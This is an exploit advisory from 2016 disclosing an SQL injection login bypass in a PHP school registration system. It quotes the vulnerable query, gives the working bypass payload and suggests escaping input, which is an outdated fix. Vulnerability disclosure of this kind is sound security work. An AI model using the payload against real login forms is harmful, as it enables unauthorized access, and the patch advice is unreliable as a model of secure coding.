# Exploit Title.............. School Registration and Fee System Auth Bypass
# Google Dork................ N/A
# Date....................... 01/11/2016
# Exploit Author............. opt1lc
# Vendor Homepage............ http://www.sourcecodester.com/php/10932/school-registration-and-fee-system.html
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/hemedy99/bilal_final.zip
# Version.................... N/A
# Tested on.................. XAMPP
# CVE........................ N/A
 
# File....................... bilal_final/login.php
---------------------------------------------------
 
        ----snip----
 
        $username = $_POST['username'];
        $password = $_POST['password'];
        /* student */
        $query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
        $result = mysql_query($query)or die(mysql_error());
        $row = mysql_fetch_array($result);
        ----snip----
 
---------------------------------------------------
 
Exploit 
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You can login with username and password : administrator' or '1'='1 
 
 
Patching
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You can use one of function in PHP : mysql_real_escape_string() to 
---------------------------------------------------
 
        ----snip----
 
        $username = mysql_real_escape_string($_POST['username']);
        $password = mysql_real_escape_string($_POST['password']);
        /* student */
        $query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
        $result = mysql_query($query)or die(mysql_error());
        $row = mysql_fetch_array($result);
        ----snip----
 
---------------------------------------------------
 
Credit
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This vulnerability was discovered and researched by opt1lc
 
Shout
-------
My Beautiful Daughter & My Wife
 
Reference
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http://php.net/manual/en/function.mysql-real-escape-string.php